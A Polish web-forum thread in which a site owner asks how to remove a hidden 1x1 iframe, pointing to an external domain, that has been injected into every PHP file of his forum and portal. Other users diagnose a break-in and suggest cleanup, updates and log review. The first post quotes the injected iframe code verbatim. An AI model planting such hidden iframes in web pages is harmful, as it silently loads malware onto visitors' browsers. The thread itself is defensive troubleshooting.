Obecny czas: 13 Cze 2026, 20:03
Strona 1 z 1
[ 12 posty(ów) ]
Widok do druku | « Poprzedni temat | Następny temat »
Temat
-
Wysłany: 11 Kwi 2008, 14:16
Witam
Czytalem już podobne tematy, i wiem, że błąd jaki cytuje w temacie wynika z jakichś dodatkowych znaków lub spacji po ?>
Jednak sprawa troche się komplikuje - mam tam ciąg znaków, mianowicie
[php]<?php echo '<iframe src="http://cdpuvbhfzz.com/dl/adv598.php" width=1 height=1></iframe>'; ?><?php echo '<iframe src="http://cdpuvbhfzz.com/dl/adv598.php" width=1 height=1></iframe>'; ?>
[/php]
Jest tak na każdym pliku php na forum jak i na portalu (!)
Skąd się to wzięło i jak mogę się tego pozbyć ? Bo samo chyba nie zniknie...
Pozdrawiam
• ZA DARMO większe Pr Twojej www !
• Avril Lavigne
Odpowiedzi
-
Wysłany: 11 Kwi 2008, 14:22
Masz to w folderze cache ( http://www.avril-lavigne.pl/forum/cache/ ) - wywal jego zawartość. Skąd się wzieło? Nie wiem...
-
Wysłany: 11 Kwi 2008, 14:30
hmm opróżniłem cache, ale wtedy też sie posypało, ale od innej strony, więc przywróciłem, tam w folderze były pliki tpl_... etc
Może jakoś inaczej ?
• ZA DARMO większe Pr Twojej www !
• Avril Lavigne
-
Wysłany: 11 Kwi 2008, 14:35
Wystarczy sprawdzic przez google co sie kryje pod tymi encjami. Wpisujac zrodlo tego iframe'a i szukajac, otrzymasz wynik :Kod:http://cdpuvbhfzz.com/dl/adv598.php. Teraz mozesz szukac tego, znajdziesz : http://forum.joomla.pl/showthread.php?p=70127
Jakas dziura w joomli, radze poszukac jakiejs latki.
Daj biedakowi rybę, a zje ją i będzie głodny. Daj biedakowi wędkę, a sam sobie bedzie łowił ryby!
-
Wysłany: 11 Kwi 2008, 14:36
Cytuj:hmm opróżniłem cache, ale wtedy też sie posypało, ale od innej strony, więc przywróciłem, tam w folderze były pliki tpl_... etc
A co dokładnie się posypało?
Opisz co się działo 
Wywal z folderu cache plik index.htm - bo to w nim jest ten kod
-
Wysłany: 11 Kwi 2008, 14:40
kiziu13 problem w tym, że nie używam joomli i myśle ze nie ma to tutaj znaczenia ?
Damon pojawia się taki sam błąd jak po wywaleniu index.htm, co uczyniłem, czyli
Kod:Warning: Cannot modify header information - headers already sent by (output started at /home/beetelpl/public_html/avril/forum/includes/constants.php:203) in /home/beetelpl/public_html/avril/forum/includes/sessions.php on line 258
Warning: Cannot modify header information - headers already sent by (output started at /home/beetelpl/public_html/avril/forum/includes/constants.php:203) in /home/beetelpl/public_html/avril/forum/includes/sessions.php on line 259
i duzo wiecej
• ZA DARMO większe Pr Twojej www !
• Avril Lavigne
-
Wysłany: 11 Kwi 2008, 15:15
Co nie zmienia faktu, ze ten kod nie zostal dodany przez ciebie, tylko przez jakies wlamanie, ktore spowodowalo dodanie do plikow. Musisz pousuwac to, co zostalo dodane i w jakis znalezc przyczyne.
Daj biedakowi rybę, a zje ją i będzie głodny. Daj biedakowi wędkę, a sam sobie bedzie łowił ryby!
-
Wysłany: 11 Kwi 2008, 18:47
no tak, to ewidentne włamanie, tylko teraz pytanie jakim cudem przedostało się na forum, strone, galerie, system bannerów ?
I czy jest jakiś masowy sposób na usunięcie tego, czy musze plik po pliku się bawić ?
No i ostatnie pytanie - jak znaleźć przyczyne ?
Dziekuje chlopaki za dotychczasową pomoc, pochwała oczywiście się należy
• ZA DARMO większe Pr Twojej www !
• Avril Lavigne
-
Wysłany: 11 Kwi 2008, 22:52
FoX napisał(a):I czy jest jakiś masowy sposób na usunięcie tego, czy musze plik po pliku się bawić ?
Domyslam sie, ze fragment w kazdympliku jestten sam, wiec w Notepad++ mozesz wyszukiwac kodu w danych plikach a pozniej masowo pozamieniac.FoX napisał(a):tylko teraz pytanie jakim cudem przedostało się na forum, strone, galerie, system bannerów
Byc moze udalo sie utowrzyc jakis plik php, a tu juz latwo jest zmienic pliki.FoX napisał(a):No i ostatnie pytanie - jak znaleźć przyczyne ?
Musisz sprawdzic forum i portal pod katem podatnosci na jakies injection'y. Byc moze jakis mod dodal dziure. Ewentualnie, jesli masz dostep do logow, mozesz poszukac jakis podejrzanych wpisow.
Daj biedakowi rybę, a zje ją i będzie głodny. Daj biedakowi wędkę, a sam sobie bedzie łowił ryby!
-
Wysłany: 11 Kwi 2008, 23:02
hmmm. Wszystko rozumiem
Forum przywróciłem do zycia, pozmieniałem każdy plik php. To samo z portalem, jeszcze się zabawie jutro z galerią i resztą.
No i teraz wlasnie, pytanie... Dziura, jak ją wykryc ? Może to kwestia chmodów ? Wolalbym uniknac tego na nastepny raz, a niestty logów raczej nie zdobede
• ZA DARMO większe Pr Twojej www !
• Avril Lavigne
-
Wysłany: 12 Kwi 2008, 08:24
No więc po pierwsze - czy masz najaktualniejszą wersję forum? Jeśli nie, może czas na aktualizację?
Możesz poszukać po różnych forach internetowych, wielu ludzi na pewno miało ten sam problem, i może tam będzie opisana dziura. Bo bez logów serwera, ciężko będzie cokolwiek wybadać
-
Wysłany: 12 Kwi 2008, 11:04
Pewnie i masz racje
Wersje mam jedną do tyłu, więc zaraz zaaktualizuje. Na forach to tylko to co podał kiziu, joomla, a mnie joomla nie dotyczy. Pozostaje mi za wszelką cene do tych logów sie dorwać
• ZA DARMO większe Pr Twojej www !
• Avril Lavigne
Strona 1 z 1
[ 12 posty(ów) ]
Kto jest na forum
Użytkownicy przeglądający to forum: Brak zarejestrowanych użytkowników oraz 0 gości
- Nie możesz zakładać nowych tematów na tym forum
- Nie możesz odpowiadać w tematach na tym forum
- Nie możesz edytować swoich postów na tym forum
- Nie możesz usuwać swoich postów na tym forum
- Nie możesz dodawać załączników na tym forum